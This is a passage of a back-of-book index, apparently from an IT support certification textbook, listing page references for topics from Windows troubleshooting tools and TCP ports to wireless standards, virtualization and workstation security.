sync settings, Windows, 339 System Preferences, macOS, 380–382, 381
synthetic backup, 659 525–527, 526 Resource Monitor (resmon.
syslog, 210, 210 Accessibility, 527, 527 exe), 384, 384
system and display issues, displays, 527 service status monitoring,
110–117 gesture support, 526 383, 383
component issues, 110–112 keyboards, 526 Startup type, 383
inaccurate system date/ Magic Mouse, 526 user monitoring, 382, 382
time, 112–113, 113 Magic Trackpad, 526, 527 Task Scheduler (tasksch.msc),
missing video issues, System Properties dialog, Windows, 359, 369, 370–371,
113–115, 114 Windows, 491 371
performance issues, 112 System Protection tab, TCP/22, 207
video quality issues, Windows, 437–438, 438 TCP/23, 207
115–116, 116 System Restore TCP/110, 205
System applet, Windows, disable, 612 TCP/143, 206
349 re-enable, 614 TCP/443, 203

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-31

TCP/993, 206 components, 322 trackpads, 247

TCP/995, 205 filament, 323 training, in virtualization, 230
TCP/3389, 208 imaging process, 322 transfer belt, 312
teletype (TTY) device, 207 maintenance, 321–323 transfer rate, 5
Telnet, 186, 207–208, 208 print process, 321 DDR memory modules, 67,
Temporal Key Integrity resin, 323 67
Protocol (TKIP), 556 SLA, 323 definition of, 67
10GBASE-T (copper cabling SLS, 323 HDD, 56
standard), 120, 127, 135 3G, 166, 251 optical disc, 62–63
Terminal, macOS, 525 3.5-inch form factor, 56 paging activity and, 65
Terminal Access Controller 3.3 VDC, 46, 46 SSD, 54
Access Control System Plus 3-2-1 backup rule, 660 transferring stage, 310–311
(TACACS+), 560 throttling, 112 transfer roller, 311
terminal emulator, 207 Thunderbolt, 11–12, 12, 28 transfer units, 5, 5
terminals, Linux, 508 ticketing system, 687, 687–688 Transmission Control Protocol
terminology, noninclusive, 37 categories, 687–688 (TCP), 171, 184, 184–185
testing and development, general process of ticket Transmission Control Protocol/
229–230 management, 687 Internet Protocol (TCP/IP),
tethering, 253, 254 severity, 688 170–182
themes, browser, 586, 595–596 ticket management, 688–689 application layer, 171
theory, establish and test, clear written Internet layer, 171
84–86 communication, 689 IPv4 addressing, 172–179
new theory, 85–86 escalation levels, 688–689 IPv6 addressing, 180–181
probable cause, 84 incident reports, 689 link or network interface
questioning the obvious, 85 time drift, Windows, 447 layer, 171
research techniques, 84 Time & Language settings, model, 170
thermal pad, 48 Windows, 341, 341 transport layer, 171
thermal paper, 319 Time Machine, macOS, 535, transport layer, 171
thermal paste, 48–49 535 transport layer,
thermal printer maintenance, timeout/screen lock, communications at, 183,
318–319 workstation, 583–584, 584 183–184
imaging process, 319, 319 tip, ring, sleeve (TRS) Transport Layer Security (TLS),
paper debris, 319 connectors, 29 203, 266, 267
paper roll, replacing, 319 TLC (triple level cell) NAND, 54 trap operation, SNMP, 187
tips, 319 tone generator, 139 TRIM, Windows, 369
thermometer sensors, 49 toner cartridge, replacing, 313, trip hazards, 709
thin film transistor (TFT), 313 triple-channel memory, 70
244–245 toner disposal, 716 triple level cell (TLC) NAND, 54
third-party developers, 261, toner probe, 139 Trivial File Transfer Protocol
262 Tools tab, Windows, 388 (TFTP), 186
third-party drivers, Windows, top command, Linux, 520, 520 Trojans, 603
421 top-level domain (TLD), 191 troubleshoot IP configuration,
Third-party Root Certification touch calibration issues, 288 Windows, 466–468
Authorities, Windows, 372 touchpads, 247, 247, 281 hostname command, 467
32-bit CPU, 66, 66, 70, 73 touch pens, 248 ipconfig command, 466–467,
32-bit environment, 231 touch screen, 244 467
32-bit software, 73 TPM (trusted platform limited connectivity, 466
32-bit Windows editions, 412 module), 95–96, 96 network reset, 468
thread, 74 TPM Administration, 592 no Internet access, 466
threat actor, 542 trace logs, Windows, 385 troubleshoot issues, mobile
threat types, 547–548 tracert command, Windows, device, 283–290
3-D printer, 321, 321–323 470–471, 471 broken screen issues, 287

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-32 | Index

connectivity issues, 288–289, screen does not wireless configuration

289 autorotate, 634, 634 issues, 220
cursor drift/touch jailbreak, 639–640 wireless signal issues,
calibration issues, 288 MDM suites, 640 220–221
digitizer issues, 287 mobile app source security troubleshoot PC hardware,
hardware failure issues, concerns, 640–641 81–118
286 APK sideloading, 640 best practice
malware issues, 289 app spoofing, 640 methodologies and
power and battery issues, bootleg app stores, 641 approaches, 82–89
283–285 enterprise apps, escalate, 85–86
troubleshoot issues, print 640–641, 641 “known good” duplicate,
devices, 325–331 mobile security symptoms, 85
finishing issues, 328–329 641–643 plan of action, 86–87
printer connectivity issues, fake security warnings, problem, identifying,
325 642 83–84
print feed issues, 326–327 high network traffic, 642 steps in, overview of,
print job issues, 329–330 high number of ads, 641 82–83
print quality issues, 327–328 leaked personal files/ theory, establish and
troubleshoot macOS, 536–537, data, 642–643, 643 test, 84–86
537 limited/no Internet verify and document,
app crashes and Force Quit, connectivity, 642 87–88
536, 537 sluggish response time, guidelines for, 118
boot issues, 536–537 642 power and disk issues,
recovery menu, 536–537, unexpected application 98–109
537 behavior, 642 system and display issues,
troubleshoot mobile OS, root access security 110–117
631–638, 639–644 concerns, 639–640 system setup, 90–97
app issues, 635, 635–636 troubleshooting tools, troubleshoot tools, Windows,
app fails to launch, fails 631–632 377–390
to close, or crashes, 635 factory reset, 632 Event Viewer (eventvwr.
app fails to update, 635 reboot, 632 msc), 378, 378–379
uninstall and reinstall, troubleshoot networks, System Configuration Utility
636 218–224 (msconfig.exe), 387,
app security, 639–644 limited connectivity 387–388, 388
app software, 631–638 message, 223 System Information
connectivity issues, network speed issues, 219 (msinfo32.exe), 377, 377
636–637 VoIP issues, 221–222, 222 Task Manager (taskmgr.
AirDrop issues, 637 jitter, 222 exe), 379–387, 380
configuration issues, latency, 221 Performance Counters,
637 quality of service (QoS) 385–386, 385–387
near-field mechanism, 222, 222 Performance Monitor
communication, 637 wired connectivity issues, (perfmon.msc), 384–387
signal strength and 218–219 performance
interference issues, 636 cable and network monitoring, 380–382,
developer mode, 640 adapter issues, 218–219 381
device and OS issues, port flapping issues, 219 Resource Monitor
633–634 wireless issues, 220–221, (resmon.exe), 384, 384
device randomly 221 service status
reboots, 633 received signal strength monitoring, 383, 383
device slow to respond, indicator (RSSI), 220 Startup type, 383
633 Wi-Fi analyzer software, user monitoring, 382,
OS fails to update, 633 221, 221 382

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-33

troubleshoot Windows, trusted sources, browser, 594 unified endpoint management

466–475 12 VDC, 46, 46 (UEM), 653
IP configuration, 466–468 20+4-pin P1 adapter cable, 46, Unified Extensible Firmware
local network connectivity, 47 Interface (UEFI), 90–92, 92, 425,
468–470, 469, 470 20 MHz bandwidth, 147, 148 581
name resolution, 471–472, 20-pin to 24-pin motherboard boot options, 91
472 adapter, 46, 47 secure boot, 95
network ports, 473, 473 twisted nematic (TN), 244 setup programs, 92, 92
remote network twisted pair cable, 133–136 setup to configure
connectivity, 470–471, Cat standards, 135, 135 permissions, 94
471 RJ11 connectors, 136 unified threat management
troubleshoot Windows OS RJ45 connectors, 135, (UTM), 168, 214
problems, 434–449 135–136 uniform resource locator (URL),
application crashes, 446 shielded twisted pair (STP), 202, 203
boot issues, 441–442 134, 134 uninstallation process, macOS,
boot process, 434–435 unshielded twisted pair 531
boot recovery tools, 435–437 (UTP), 133, 133 Uninstall button, Windows, 439
performance issues, 443–444 2G, 251 Uninstall device, Windows, 363,
profile issues, 442 2-lane PCIe SSDs, 55 365
recovery image, 440 2-step verification, Windows, uninstalling Windows apps,
reinstalling Windows, 482 355
440–441, 441 two-factor authentication (2FA), uninterruptible power supply
services not starting, 447 271, 271 (UPS), 714–715, 715
system fault issues, two-factor authentication (2FA) universal asynchronous
444–446 mechanism, Windows, 482 receiver transmitter (UART),
System Restore, 437–439 2.4 GHz frequency band, 147, 254
time drift, 447 148 Universal Mobile
update and driver roll back, 200 MT/s (megatransfers per Telecommunications Service
439, 439–440, 440 second), 67 (UMTS), 251
troubleshoot workstation two-way latency, 221 Universal Plug-and-Play (UPnP),
security issues, 603–615 2.5-inch-inch form factor, 56 569, 569–570
browser symptoms, 608–609 TXT record, 194 Universal Serial Bus (USB)
cryptominers, 607 Type 1 hypervisors, 229, 229 boot options, 93, 94
crypto-ransomware, Type 2 hypervisors, 228, 229 cables, 5–8, 6, 7, 8
606–607 Type A connector, 7, 7 cable length, 8
desktop symptoms, 607–608 Type B connector, 7, 7 connector types, 7, 7–8,
infected systems Type B micro connector, 7, 7 8
quarantine, 611–612 Type B mini connector, 7, 7 power, 8
malware standards, 6
infection prevention, U transfer rate, 6, 6
613–614 controller resource
UDIMMs (unbuffered DIMMs),
payloads, 604–606 warning, Windows, 446
70
removal, best practices drives, Windows, 423
UDP/161, 209
for, 610, 610–611, 611 issues, Windows, 446
UDP/162, 209
removal tools and ports, 4, 5, 6, 27
UEFI. see Unified Extensible
methods, 612, 612–613 print device connectivity,
Firmware Interface (UEFI)
vectors, 603–604 295–296, 296
unattended installations,
ransomware, 606, 606 selective suspend, 354
Windows, 421–422, 422
trusted platform module USB 2.0 HighSpeed, 6, 7, 7
unbuffered DIMMs (UDIMMs),
(TPM), 95–96, 96, 409 USB 3, 6, 6–8, 8
70
Trusted Root Certification USB-C connector, 254
under-voltage event, 714
Authorities, Windows, 372 UNIX OS, 403

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-34 | Index

Unlicensed National user authentication, printer, video-conferencing, 654

Information Infrastructure 305 Video Electronics Standards
(U-NII), 147 User Datagram Protocol (UDP), Association (VESA), 10
unmanaged switch, 129 171, 185, 185–186 Video Graphics Array (VGA), 35,
unpatched system, 544 user management commands, 35
unprotected systems, 543 Linux, 515 video issues
unshielded twisted pair (UTP), user monitoring, Windows, missing, 113–115, 114
133, 133 382, 382 appropriate data source,
untrusted sources, browser, username and password, 113
595 Windows, 483 burned-out bulb issues,
unused ports in SOHO, user preferences, Windows, 114, 114–115
disabling, 569 421 intermittent projector
update, mobile OS, 633 user profiles, Windows, 349 shutdown, 115
update, Windows, 439, 439–440, Users tab, Windows, 382, 382 OSD menus, 113
440, 443 user/system, 94 physical cabling issues,
updated cryptographic user training and support, 114
protocols, 557 409–410 quality, 115–116, 116
Update Driver button, audio issues, 116
Windows, 364 V burn-in, 115–116
update limitations, Apple iOS, dead pixels, 115
valid certificates, browser, 598,
405 dim image, 115
598–599, 599
update limitations, hardware flashing screen, 115
variables, 674
compatibility and, 408–409, fuzzy image, 115
VBScript, 676
409 incorrect color display,
vCard, 264
updates, initiating, 680 116, 116
vector graphics, 299
Update & Security settings, video ports, 28, 28
Vendor Life-cycle Limitations,
Windows, 349–350 video RAM, Windows, 429
410
upgrade paths, Windows, 416 video surveillance, 576
vendor instructions, 87
UPnP, 569, 569–570 virtual desktop infrastructure
verify and document, 87–88
up-plugging, 23 (VDI), 238
findings, actions, and
USB. see Universal Serial Bus virtualization, 228–234
outcomes, 88
(USB) definition of, 238
preventative measures, 87
user, gathering information desktop, 238
vertical alignment (VA), 245
from, 83 extensions to support, 74
vertical cavity surface emitting
user-acceptance testing (UAT), guidelines for supporting,
lasers (VCSELs), 142
694 241
very high-speed DSL (VDSL),
user access control (UAC), hypervisors, 228–229,
164
Windows, 391 229
very small aperture terminal
user account, Windows, resource requirements,
(VSAT), 165
338–339, 343, 477 231–233
VESA (Video Electronics
User Account Control (UAC), CPU and virtualization
Standards Association), 10
Windows, 479–481, 480, 481 extensions, 231
VGA (Video Graphics Array), 35,
user account management, mass storage, 232
35
Linux, 515–516 networking, 233
video cables, 9–11
group management system memory, 232,
bandwidth, determining, 9
commands, 516 232
DisplayPort, 10, 10–11, 28, 29
su command, 515 security requirements, 233
HDMI, 9–10, 10, 28, 29
sudo command, 515 guest OS security, 233
video cards, 28, 29
user management host security, 233
GPU, 28
commands, 515 hypervisor security, 233
graphics memory, 28
User Accounts applet, software, 74
video ports, 28, 28
Windows, 339, 339

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-35

uses for, 229–231 web conferencing, 248 apps, 354–355

application web servers, 201–203 color, 352
virtualization, 230 deployment, 203 configuration utilities,
client-side virtualization, HTML, 202 357
229–230 HTTP, 202, 202 Defragment and
container virtualization, HTTP forms, 202 Optimize Drives (dfrgui.
230, 231 HTTP web applications, 202 exe), 359
server-side URL, 202, 203 Device Manager, 352
virtualization, 230 web server deployment, Devices and Printers
Virtualization Technology (VT), 203 applet, 351, 351
74 whaling, 546 device settings, 350–352,
virtual LAN (VLANs), 195, wide area network (WAN), 121, 351
195–196 564 Devices settings pages,
virtual machine (VM), 74, 228 Wi-Fi, 120 351, 351
virtual machine escaping (VM Wi-Fi 5 (802.11ac) standard, Disk Cleanup (cleanmgr.
escaping), 233 149, 149–150 exe), 359
virtual machine sprawl (VM Wi-Fi 6 (802.11ax) standard, Display configuration
sprawl), 233 149, 150 settings, 352
Virtual Network Computing Wi-Fi adapters, 31 Display settings, 352
(VNC), 649 Wi-Fi analyzer, 152, 153, environment variables,
virtual private network (VPN), 288–289 349
122, 196, 196, 203 Wi-Fi analyzer software, 221, Event Viewer (eventvwr.
remote access technologies, 221 msc), 359
654 Wi-Fi authentication methods, Gaming settings, 356
Windows, 462, 462 558 Hibernate/Suspend to
virtual RAM/virtual memory, Wi-Fi Enhanced Open, 557 Disk, 353
65–66 Wi-Fi networking, mobile Instant Search, 360
viruses, 444, 603 device, 249–250 Internet Options, 357
vishing, 546 airplane mode, 249, 250 Local Security Policy
VLAN configuration, 223 enabling and disabling (secpol.msc), 359
VM (virtual machine), 74 Wi-Fi, 249, 249 Mail applet, 356, 356
VoIP issues, 221–222, 222 Wi-Fi antenna connector/ management shortcuts,
jitter, 222 placement, 250 359–360
latency, 221 Wi-Fi Protected Access (WPA), Microsoft Product
QoS mechanism, 222, 222 556–557 Activation, 350
volumes, Windows, 367 TKIP, 556 MMC, 358, 358
Volume Shadow Copy service, WPA2, 556 multiple displays, 352
Windows, 369 WPA3, 557 Network and Sharing
VT (Virtualization Technology), Wi-Fi tab, Windows, 382 Center, 357
74 wildcard character, Windows, Network Connections
VT-x, 231 393 (ncpa.cpl) utilities, 357
vulnerabilities, 543–544 Windows, configuring Network & Internet
guidelines for, 362 utilities, 357
system settings, 348–361 network settings, 357
W About page, 348, Performance Monitoring
walled garden model, 261 348–349 (perfmon. msc), 359
wallet apps, 257 Administrative Tools, phone settings, 351
WannaCry ransomware, 606 357–359, 358 Power Options applet,
warning event, Windows, 379 advanced settings, 353–354, 354
warranties, 85, 86, 691 348–349 power plan, 354
wattage rating, 45–46, 46 advanced sharing Power & sleep settings,
webcam, 248 settings, 357 353

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-36 | Index

Programs and Features, hidden files and folders, management consoles,

356 345 364–376
Registry Editor (regedit. hide extensions, 345 Certificate Manager
exe), 359 hide protected console (certmgr.msc),
resolution and refresh operating system files, 372, 372–373
rate, 352 345 Device Manager
Resource Monitor Indexing Options, 346, (devmgmt.msc), 364–366
(resmon.exe), 359 346 disk maintenance tools,
Run dialog, 360, 360 Microsoft account, 339 368–370
scale, 352 Network, 343 Disk Management
Services console OneDrive, 343 (diskmgmt.msc) console,
(services.msc), 359 Personalization settings, 366–368, 367
Sound applet, 352, 352 341 Group Policy Editor
Standby/Suspend to privacy settings, 340, (gpedit.msc), 373, 373
RAM, 353 340 Local Users and Groups
startup and recovery Program Files/Program (lusrmgr.msc), 371, 371
options, 349 Files (x86), Windows, Microsoft Management
System applet, 349 344 Console (MMC), 375, 375
for system objects and Recycle Bin, 343 Registry Editor (regedit.
notification area icons, system files, 344 exe), 374–375
360 system objects, 343 Services (services.msc),
Task Scheduler system root, 344 383
(taskschd.msc), 359 This PC, 343 Task Scheduler (tasksch.
Update & Security Time & Language msc), 370–371, 371
settings, 349–350 settings, 341, 341 performance and
USB selective suspend, User Accounts applet, troubleshooting tools,
354 339, 339 377–390
user profiles, 349 users’ profile settings Event Viewer (eventvwr.
Windows Defender and data, 344 msc), 378, 378–379
Firewall, 357 View tab, 345 System Configuration
Windows Security, 350 Windows 10 Desktop, Utility (msconfig.exe),
Windows Update, 349, 334–335, 335 387, 387–388, 388
349–350 Windows 11 Desktop, System Information
WinX menu, 359, 336, 336 (msinfo32.exe), 377, 377
359–360 Windows interfaces, Task Manager (taskmgr.
user settings, 334–347 334–336 exe), 379–387, 380
account settings, Windows Settings, Performance
338–339 336–337, 337 Counters, 385–386,
Control Panel, 338, 338 Windows, managing 385–387
data collection, 340 command-line tools, Performance
desktop settings, 341, 391–399 Monitor (perfmon.
341 Command Prompt, msc), 384–387
directory structure, 344 391–392 performance
drives, 344 disk management monitoring, 380–382,
Ease of Access settings, commands, 395–396 381
342, 342 file management Resource Monitor
File Explorer, 343, commands, 394 (resmon.exe), 384, 384
343–346 navigation commands, service status
File Explorer Options, 392–394 monitoring, 383, 383
345, 345 system management Startup type, 383
folders, 344 commands, 396–398 user monitoring, 382,
General tab, 345, 345 guidelines for, 377–390 382

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-37

Windows, supporting performance issues, Windows Enterprise and

applications 443–444 Education editions, 415
distribution methods, profile issues, 442 Windows file system types,
430, 430–431 recovery image, 440 406–407
impact to business, reinstalling Windows, exFAT, 407
431 440–441, 441 FAT32, 407
impact to device and services not starting, NTFS, 406–407
to network, 432 447 Windows Hello, 483–484, 484
impact to operation, system fault issues, Windows Home edition, 413
431–432 444–446 Windows interfaces, 334–336
install and configure, System Restore, Windows 10 Desktop,
428–433 437–439 334–335, 335
licensing, 431 time drift, 447 Windows 11 Desktop, 336,
OS requirements for, update and driver roll 336
429–430 back, 439, 439–440, 440 Windows Memory Diagnostics
support, 431 Windows 10 ARM-based tool, 445
system requirements devices, 73 Windows network connection
for, 428–429 Windows 10 Desktop, 334–335, types, 454–456
training, 431 335 wired network connections,
guidelines for, 450–451 Windows 11 Desktop, 336, 336 454, 455
installations and upgrades, Windows Defender Antivirus, wireless network
420–427 586–587 connections, 455, 456
application and driver activating and deactivating, Windows networking
support/backward 587, 587 guidelines for, 505
compatibility, 420–421 configuration page, 587 managing, 454–465
backup files and user Real-time protection client configuration,
preferences, 421 button, 587, 587 457–458, 458
boot methods, 422–424, updates definitions, 587 IP addressing schemes,
423 Windows Defender Firewall, 456–457
clean install, 420 357, 588, 588–589, 589 network connection
disk configuration, address triggers, 588 types, 454–456
424–425 application security, 588 network location,
feature updates, 421 Inbound Rules or Outbound 459–460
hardware compatibility, Rules, 589, 589 proxy settings, 463–464,
420 port security, 588 464
Hardware Compatibility properties, 588, 588–589 VPN and WWAN
List (HCL), 421 Windows Defender firewall connection types,
in-place upgrade, 420 configuration, 460, 460–461, 461–463
recovery partition, 426 461 Windows Defender
repair installation, 426 Windows editions, 412–417 firewall configuration,
reset Windows, 426 desktop styles, 413 460, 460–461, 461
third-party drivers, 421 feature updates, 413, 416 security settings, 476–490
unattended installations, licensing, 413 access control lists, 477
421–422, 422 32-bit vs 64-bit, 412 authentication methods,
troubleshoot Windows OS upgrade paths, 416 481–483
problems, 434–449 Windows Enterprise and domain controllers, 485
application crashes, Education editions, 415 group policy, 486–487,
446 Windows Home edition, 487
boot issues, 441–442 413 group policy updates,
boot process, 434–435 Windows Pro, 415 487
boot recovery tools, work and education implicit deny, 477
435–437 features, 414 least privilege, 477

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-38 | Index

legal security controls, Share permissions, wired network connections,

476–477 496–498, 497 Windows, 454, 455
Local Users and Groups, workgroup setup, wireless cards, 278–279, 279
478, 479 491–492 wireless connection for
login script, 487–488 Windows PowerShell (Admin), accessories, 254. see also
member server, 485 Windows, 480 Bluetooth
Microsoft account, 477 Windows Pro, 415 wireless internet service
Mobile Device Windows Recovery providers (WISPs), 166
Management (MDM), Environment (WinRE), 436 wireless issues, 220–221,
488, 488 Windows scripts, 676–677 221
net user commands, 479 batch files, 676, 677 configuration, 220
organizational units PowerShell, 676, 676 RSSI, 220
(OUs), 486 VBScript, 676 Wi-Fi analyzer software,
security groups, 478, Windows Security, 350 221, 221
486, 486 Windows shares, 491–504 wireless configuration
user account, 477 domain setup, 499–500, issues, 220
User Account Control 500, 501 wireless signal issues,
(UAC), 479–481, 480, 481 file server, 494, 494 220–221
Windows login options, file sharing, 492–493, 493 wireless local area network
483–485 folder redirection, 503, 503 (WLAN), 145, 565–566
troubleshoot, 466–475 home folders, 501–502, 502 installation considerations,
IP configuration, mapped drives, 494, 495 150–151, 151
466–468 net use commands, 495 wireless network connections,
local network NTFS permissions, 496–498, Windows, 455, 456
connectivity, 468–470, 497 wireless networking types,
469, 470 permission inheritance, 145–157
name resolution, 498–499, 499 Access Point (AP), 145, 146
471–472, 472 printer sharing, 495–496, 496 Bluetooth, 154, 154
network ports, 473, 473 roaming profiles, 503 5 GHz channel layout, 147,
remote network Share permissions, 496–498, 147
connectivity, 470–471, 497 frequency bands, 146–147
471 workgroup setup, 491–492 IEEE 802.11a standard, 147
Windows shares, 491–504 Windows Subsystem for Linux IEEE 802.11b standard, 147,
domain setup, 499–500, (WSL), 355 148
500, 501 Windows Update, 349, 349–350 IEEE 802.11n standard, 148,
file server, 494, 494 WINLOAD, Windows, 434 148–149
file sharing, 492–493, WINLOGON, Windows, 434 long-range fixed wireless,
493 winver command, Windows, 153–154
folder redirection, 503, 398 multiuser MIMO (MU-
503 WinX menu, 359, 359–360 MIMO), 150
home folders, 501–502, wired connection methods, Near Field Communications
502 mobile device, 254–255 (NFC), 155
mapped drives, 494, 495 laptop ports, 254 Radio Frequency ID (RFID),
net use commands, 495 serial interfaces, 255 155
NTFS permissions, smartphone and tablet 2.4 GHz frequency band,
496–498, 497 connectors, 254 147, 148
permission inheritance, wired connectivity issues, Wi-Fi 5 (802.11ac) standard,
498–499, 499 218–219 149, 149–150
printer sharing, 495–496, cable and network adapter Wi-Fi 6 (802.11ax) standard,
496 issues, 218–219 149, 150
roaming profiles, 503 port flapping issues, 219 Wi-Fi analyzer, 152, 153

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-39

WLAN installation joining a workgroup, 491 Windows Defender Firewall,

considerations, 150–151, nearby sharing, 492 588, 588–589, 589
151 network discovery and file worms, 604
wireless print device sharing, 491–492 WPA2, 556, 558
connectivity, 297–298, 298 password-protected WPA3, 557, 558
wireless security protocols, sharing, 492 writeback, 73
556–562 workgroup switch, 129, 130
EAP, 558–560, 560 workstations, CPU and, 77 X
Kerberos, 561 workstation security, 580–593
x64 CPU architecture, 73
multifactor authentication, account management,
x86 CPU architecture, 73
559 582–583
X.500 standard, 206
RADIUS, 560 account policies, 583–584,
xBASE-Y, 120
TACACS+, 560 584
xcopy command, Windows,
Wi-Fi authentication BitLocker and BitLocker To
394
methods, 558 Go, 591, 591–592, 592
WPA, 556–557 EFS, 589–591, 590
wireless signal issues, 220–221 end user best practices, Y
wireless wide area network 582 yum command, Linux, 519
(WWAN), 462–463, 463 execution control, 584–585,
workaround, 86 585 Z
workflow and process password best practices,
automation systems, 215 580–581, 581 zero-day vulnerabilities, 544
workgroup setup, Windows, troubleshoot issues, zero insertion force (ZIF)
491–492 603–615 mechanism, 75
devices in a workgroup, Windows Defender ZIF (zero insertion force)
494, 494 Antivirus, 586–587, 587 mechanism, 75

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022